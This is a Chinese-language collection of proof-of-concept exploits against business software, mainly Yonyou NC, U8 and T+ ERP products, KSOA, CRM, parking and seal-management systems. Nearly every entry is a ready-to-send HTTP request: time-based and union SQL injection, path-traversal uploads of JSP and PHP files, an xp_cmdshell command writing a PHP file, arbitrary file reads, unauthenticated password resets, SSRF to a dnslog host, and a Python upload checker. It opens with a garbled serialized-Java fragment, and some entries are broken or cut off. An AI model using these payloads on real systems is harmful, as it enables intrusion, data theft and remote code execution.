fineClassuq\x00~\x00\x1a\x00\x00\x00\x02vr\x00\x10java.lang.String\xa0\xf0\xa48z;
\xb3B\x02\x00\x00xpvq\x00~\x00\x28sq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x01u
q\x00~\x00\x1a\x00\x00\x00\x00q\x00~\x00\x1cuq\x00~\x00\x1a\x00\x00\x00\x01q\x00~
\x00\x1esq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x01uq\x00~\x00\x18\x00\x00\x00
\x00q\x00~\x00\"uq\x00~\x00\x1a\x00\x00\x00\x01q\x00~\x00$sq\x00~\x00\x0fsq\x00~\
x00\x00w\x0c\x00\x00\x00\x10?
@\x00\x00\x00\x00\x00\x00xsr\x00\x11java.util.HashMap\x05\x07\xda\xc1\xc3\x16`\xd
1\x03\x00\x02F\x00\x0aloadFactorI\x00\x09thresholdxp?
@\x00\x00\x00\x00\x00\x00w\x08\x00\x00\x00\x10\x00\x00\x00\x00xxx")}}
```

用友NC U8+ CRM complainbilldetail SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：NC633、NC65
- 利用路径：/ebvp/advorappcoll/complainbilldetail
- 漏洞详情：

```
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:8'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

用友U8 Cloud linkntb存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/yer/html/nodes/linkntb/linkntb.jsp
- 漏洞详情：

```
GET /yer/html/nodes/linkntb/linkntb.jsp?pageId=linkntb&billId=1%27%29+AND+5846%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%285846%3D5846%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29--+Astq&djdl=1&rand=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=FC1C64E67AE8D02989467988D2FF143A.server; JSESSIONID=5BA15086E03362F38918286E9E0C0E24.server
Upgrade-Insecure-Requests: 1
Priority: u=1
```

用友U9系统DoQuery接口存在SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/U9C/CS/Office/TransWebService.asmx

- 漏洞详情:

```
POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 309
SOAPAction: "http://tempuri.org/GetEnterprise"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetEnterprise xmlns="http://tempuri.org/" />
  </soap:Body>
</soap:Envelope>



POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 345
SOAPAction: "http://tempuri.org/GetToken"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetToken xmlns="http://tempuri.org/">
      <endId>000</endId>
    </GetToken>
  </soap:Body>
</soap:Envelope>




POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 345
SOAPAction: "http://tempuri.org/DoQuery"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <DoQuery xmlns="http://tempuri.org/">
      <token></token>
      <command>select 1;waitfor delay '0:0:1' --</command>
    </DoQuery>
  </soap:Body>
```

```
</soap:Envelope>
```

用友时空KSOA系统接口PrintZP.jsp存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/kp/PrintZP.jsp
- 漏洞详情：

```
GET /kp/PrintZP.jsp?zpfbbh=1%27+IF(LEN(db_name())>4)+WAITFOR+DELAY+%270:0:2%27+--
+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
```

用友时空KSOA系统接口PrintZPFB.jsp存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/kp/PrintZPFB.jsp
- 漏洞详情：

```
GET /kp/PrintZPFB.jsp?zpfbbh=1%27+union+select+1,2,3,4,db_name()+--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
```

用友时空KSOA系统接口PrintZPYG.jsp存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/kp/PrintZPYG.jsp
- 漏洞详情：

```
GET /kp/PrintZPYG.jsp?
zpjhid=1%27+union+select+1,2,db_name(),4,5,6,7,8,9,10,11,12,13,14+--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/41.0.2227.0 Safari/537.36
Connec
```

用友时空KSOA系统接口PrintZPZP.jsp存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/kp/PrintZPZP.jsp
- 漏洞详情：

```
GET /kp/PrintZPZP.jsp?
zpshqid=1%27+union+select+1,2,db_name(),4,5,6,7,8,9,10,11,12,13+--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
```

用友时空KSOA系统接口fillKP.jsp存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/kp/fillKP.jsp
- 漏洞详情：

```
GET /kp/fillKP.jsp?
kp_djbh=1%27+IF(LEN(db_name())>4)+WAITFOR%20DELAY%20%270:0:2%27+--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
```

用友畅捷通-TPlus系统接口ajaxpro存在ssrf漏洞

- 漏洞类型：1day - SSRF
- 涉及版本：未知
- 利用路径：/tplus/ajaxpro/Ufida.T.SM.UIP.UA.AddressSettingController,Ufida.T.SM.UIP.ashx
- 漏洞详情：

```
POST
/tplus/ajaxpro/Ufida.T.SM.UIP.UA.AddressSettingController,Ufida.T.SM.UIP.ashx?
method=TestConnnect HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```

```
Cookie: ASP.NET_SessionId=sfzg0pgxvld3ltgimecqkjg4;
Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1721822405;
Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1721822415; HMACCOUNT=AFE08148BD092161
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

{
  "address":"ftlhbc.dnslog.cn"
}
```

用友 NC oacoSchedulerEventsSQL 注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/portal/pt/oacoSchedulerEvents/isAgentLimit
- 漏洞详情：

```
GET
/portal/pt/oacoSchedulerEvents/isAgentLimit?
pageId=login&pk_flowagent=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML,
like Gecko) Chrome/70.0.3538.77 Safari/537.36
```

用友 NC complainjudge 接口 SQL 注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/ebvp/advorappcoll/complainjudge
- 漏洞详情：

```
POST /ebvp/advorappcoll/complainjudge HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

pageId=login&pk_complaint=11%27;WAITFOR%20DELAY%20%270:0:5%27--
```

用友NC ResumeModelServlet 任意文件上传漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：ResumeModelServlet
- 漏洞详情：

```
未知
```

用友NC系统接口link存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/portal/pt/link/content
- 漏洞详情：

```
GET /portal/pt/link/content?pageId=login&pk_funnode=1';waitfor%20delay%20'0:0:0'-
-&pk_menuitem=2&pageModule=3&pageName=4 HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Referer: http://www.baidu.com
Cache-Control: max-age=0
```

用友 NC Cloud queryStaffByName SQL 注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/ncchr/pm/staff/queryStaffByName
- 漏洞详情：

```
GET
/ncchr/pm/staff/queryStaffByName?name=1%27+AND+7216%3DUTL_INADDR.
GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28112%29%7C%7CCHR%2810
7%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%287216%3D7216%29+THEN+1+ELSE+
0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28118%29%7C%7C
CHR%2898%29%7C%7CCHR%28113%29%29--+hzDZHTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like
Gecko) Chrome/41.0.887.0 Safari/532.1
Accesstokenncc:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3Wjl
zIANk2JXwF49K5cBruYMnIOxItOQ
```

用友U8-Cloud系统BusinessRefAction存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp,5.1
- 利用路径：/service/~iufo/com.ufida.web.action.ActionServlet
- 漏洞详情：

```
GET /service/~iufo/com.ufida.web.action.ActionServlet?
action=nc.ui.iufo.web.reference.BusinessRefAction&method=getTaskRepTreeRef&taskId
=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
```

用友 NC 远程代码执行漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/portal/pt/file/upload
- 漏洞详情：

```
POST
/portal/pt/file/upload?pageId=login&filemanager=nc.uap.lfw.file.FileManager&i
scover=true&billitem=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwebapps%5C
nc_web%5C HTTP/1.1
Host:
Content-Type: multipart/form-data;
boundary=d0b7a0d40eed0e32904c8017b09eb305
--d0b7a0d40eed0e32904c8017b09eb305
Content-Disposition: form-data; name="file"; filename="we.jsp" Content-Type:
text/plain
<%out.print("hello world");%>
--d0b7a0d40eed0e32904c8017b09eb305--
```

用友畅捷通T+ FileUploadHandler+任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/tplus/SM/SetupAccount/FileUploadHandler.ashx/;/login
- 漏洞详情：

```
POST/tplus/SM/SetupAccount/FileUploadHandler.ashx/;/loginHTTP/1.1Host:
11.11.11.11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Content-
Length: 185Accept: */*Accept-Encoding: gzip, deflateConnection: closeContent-
Type: multipart/form-data; boundary=f95ec6be8c3acff8e3edd3d910d3b9a6
```

用友 U8CRM 远程代码执行漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/bgt/reservationcomplete.php
- 漏洞详情：

```
GET
/bgt/reservationcomplete.php?
DontCheckLogin=1&ID=1112;exec%20master..xp_cmdshell%20%27echo%20^%3C?
php%20echo%20hello;?^%3E%20%3E%20D:\U8SOFT\turbocrm70\code\www\hello.php%27;
HTTP/1.1
Host:
```

用友 U8CRM 任意文件读取漏洞

- 漏洞类型：0day - 任意文件读取
- 涉及版本：未知
- 利用路径：/pub/help.php
- 漏洞详情：

```
GET
/pub/help.php?
key=YTozOntpOjA7czoyNDoiLy4uLy4uLy4uL2FwYWNoZS9waHAuaW5pIjtpOjE7czoxOiIxIjtpOjI7c
zoxOiIyIjt9 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML,
like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

用友NC接口download存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/portal/pt/psnImage/download
- 漏洞详情：

```
/portal/pt/psnImage/download?
pageId=login&pk_psndoc=1%27)%20AND%206322=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(
79)||CHR(66)||CHR(101),5)%20AND%20(%27rASZ%27=%27rASZ
```

用友NC系统FileManager接口存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/portal/pt/file/upload
- 漏洞详情：

```
POST /portal/pt/file/upload?pageId=login&filemanager=nc.uap.lfw.file.FileManager&iscover=true&billitem=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwebapps%5Cnc_web%5C HTTP/1.1
Host: 
Content-Type: multipart/form-data;boundary=d0b7a0d40eed0e32904c8017b09eb305

--d0b7a0d40eed0e32904c8017b09eb305
Content-Disposition: form-data; name="file"; filename="we.jsp"
Content-Type: text/plain

<%out.print("hello world");%>
--d0b7a0d40eed0e32904c8017b09eb305--
```

用友U8-CRM接口exportdictionary.php存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/devtools/tools/exportdictionary.php
- 漏洞详情：

```
GET /devtools/tools/exportdictionary.php?DontCheckLogin=1&value=1%27;WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bgsesstimeout-; TL_EXPANDED=REL_STAGE2012
```

用友U8-CRM系统接口attrlist存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/devtools/tools/attrlist.php
- 漏洞详情：

```
POST /devtools/tools/attrlist.php?DontCheckLogin=1&isquery=1 HTTP/1.1
Host: 
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;

obj_type=1';WAITFOR DELAY '0:0:5'--
```

用友U8-CRM系统接口 /bgt/reservationcomplete.php存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/bgt/reservationcomplete.php
- 漏洞详情：

```
/bgt/reservationcomplete.php?DontCheckLogin=1&ID=1112;exec%20master..xp_cmdshell%20%27echo%20^%3C?php%20echo%20hello;?^%3E%20%3E%20D:\U8SOFT\turbocrm70\code\www\hello.php%27;
```

用友crm客户关系管理help.php存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/pub/help.php
- 漏洞详情：

```
GET /pub/help.php?key=YTozOntpOjA7czoyNDoiLy4uLy4uLy4uL2FwYWNoZS9waHAuaW5pIjtpOjE7czoxOiIxIjtpOjI7czoxOiIyIjt9 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

用友U8Cloud系统接口MeasureQResultAction存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/service/~iufo/com.ufida.web.action.ActionServlet
- 漏洞详情：

```
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQResultAction&method=execute&selectQueryCondition=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
```

畅捷通CRM系统newleadset.php接口存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/lead/newleadset.php
- 漏洞详情：

```
GET /lead/newleadset.php?gblOrgID=1+AND+(SELECT+5244+FROM+
(SELECT(SLEEP(5)))HAjH)--+-&DontCheckLogin=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
```

用友NC任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/uapim/upload/grouptemplet
- 漏洞详情：

```
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1Host:
x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Connection: closeContent-
Length: 268Content-type: multipart/form-data; boundary=----------
ny4hGVLLpZPZmOCE3KNtyhNSXvFgkAccept-Encoding: gzip
------------ny4hGVLLpZPZmOCE3KNtyhNSXvFgkContent-Disposition: form-data;
name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"Content-Type:
application/octet-stream
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>------------
ny4hGVLLpZPZmOCE3KNtyhNSXvFgk--
```

云课

云课网校系统uploadImage存在任意文件上传漏洞

- 漏洞类型：nday - 任意文件上传
- 涉及版本：未知
- 利用路径：/api/uploader/uploadImaged
- 漏洞详情：

```
POST /api/uploader/uploadImage HTTP/1.1
Host: xx.xx.xx.xx
```

```
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarykvjj6DIn0LIXxe9m
x-requested-with: XMLHttpRequest

------WebKitFormBoundaryLZbmKeasWgo2gPtU
Content-Disposition: form-data; name="file"; filename="1G3311040N.php"
Content-Type: image/gif

<?php phpinfo();?>
------WebKitFormBoundaryLZbmKeasWgo2gPtU--
```

云盟智慧

智能停车管理系统ToLogin存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/Login/ToLogin
- 漏洞详情：

```
POST /Login/ToLogin HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Admins_Account=1' AND (SELECT 8104 FROM (SELECT(SLEEP(5)))dEPM) AND
'JYpL'='JYpL&Admins_Pwd=
```

智能停车管理系统GetPasswayData存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/LaneMonitor/GetPasswayData
- 漏洞详情：

```
POST /LaneMonitor/GetPasswayData HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

SentryHost_No=1';SELECT+SLEEP(5)#
```

云时空

云时空商业ERP文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/uploads/pics/2023-12-6/test.jsp
- 漏洞详情：

```
import requests

def verify(ip):

    url = f'{ip}/uploads/pics/2023-12-6/test.jsp'

    headers = {
        'Content-Type': 'multipart/form-data;
boundary=4eea98d02AEa93f60ea08dE3C18A1388',
    }

    payload = '''
    --4eea98d02AEa93f60ea08dE3C18A1388
    Content-Disposition: form-data; name="file1"; filename="test.jsp"
    Content-Type: application/octet-stream

    <% out.println("This website has a vulnerability"); %>
    --4eea98d02AEa93f60ea08dE3C18A1388--
    '''


    try:
        response = requests.post(url, headers=headers, data=payload)
        # 验证成功输出相关信息
        if response.status_code == 200 :
            print(f"{ip}存在云时空商业ERP文件上传！！！")
        else:
            print('漏洞不存在。')

    except Exception as e:
        pass
```

```
if __name__ == '__main__':
    self = input('请输入目标主机IP地址：')
    verify(self)
```

云时空社会化商业ERP系统online存在身份认证绕过漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/sys/user/online
- 漏洞详情：

```
GET /sys/user/online HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
```

章管家

章管家 前台任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/api/personSeal_jdy/saveUser.htm
- 漏洞详情：

```
POST /api/personSeal_jdy/saveUser.htm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML,
like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: */* Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sid=ed467a70-91e9-450d-a2c1-db1fab8123ad
Connection: close
Content-Type: application/json
Content-Length: 211

{"op":{},"data":
{"mobile":"13333333333","uid":"13333333333","password":"123456","name":"testuser"
,"return_url":"https://www.baidu.com","apisecretkey":"1","_id":"1","mail_address"
:"111@qq.com"},"b7o4ntosbfp":"="}



POST
```

```
/seal/sealApply/uploadFileByChunks.htm?
token=dingtalk_token&person_id=40288053800311e80180261b92ab005e&chunk=1&chunks=1&
guid=1 HTTP/1.1Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0)
Gecko/20100101 Firefox/128.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
p,i
mage/png,image/svg+xml,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: sid=58139d92-115f-4e9b-99a1-ee200a8b17a0;
ZHANGIN_CHECKBOX=false; ZHANGIN_MOBILE=;
JSESSIONID=30A3F3F324080E3B327FEB2EB82E2CB0
Content-Type: multipart/form-data; boundary=--------952870761
Content-Length: 140
----------952870761
Content-Disposition: form-data; name="file"; filename="1.jsp" Content-Type:
image/jpeg
<%@ page import="java.io.File" %>
<%
out.println("111");
String filePath = application.getRealPath(request.getServletPath());
out.println(filePath);
new File(filePath).delete();
%>
----------952870761--
```

章管家listUploadIntelligent接口存在sql注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/app/message/listUploadIntelligent.htm
- 漏洞详情：

```
POST /app/message/listUploadIntelligent.htm?&person_id=1&unit_id=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101
Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1
and (select*from(select%0Asleep(10))x)
```

```
POST /app/message/listUploadIntelligent.htm?
token=dingtalk_token&person_id=1&unit_id=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101
Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1
and (select*from(select%0Asleep(10))x)



POST /app/message/listUploadIntelligent.htm?
token=dingtalk_token&person_id=1&unit_id=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101
Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1
union select md5(123456),2,3,4,5,6,7,8,9,10,11,12 --
```

章管家updatePwd.htm存在任意账号密码重置漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/app/updatePwd.htm
- 漏洞详情：

```
POST /app/updatePwd.htm HTTP/1.1
Host:
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 87
Content-Type: application/x-www-form-urlencoded

mobile=18888888888&newPassword=12312dsa12&equipmentName=xxxxxx&version=4.0.0&toke
n=dingtalk_token
```

章管家 listUploadIntelligent.htm SQL 注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/app/message/listUploadIntelligent.htm?token=dingtalk_token
- 漏洞详情：

```
POST /app/message/listUploadIntelligent.htm?token=dingtalk_token HTTP/1.1Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0)
Gecko/20100101 Firefox/128.0
Content-Type: application/x-www-form-urlencoded

person_id=1&unit_id=1&pageNo=1&is_read=-1 union select
md5(1),2,3,4,5,6,7,8,9,10,11,12 --
```

章管家updatePwd.htm存在任意账号密码重置漏洞

- 漏洞类型：nday - 未授权访问
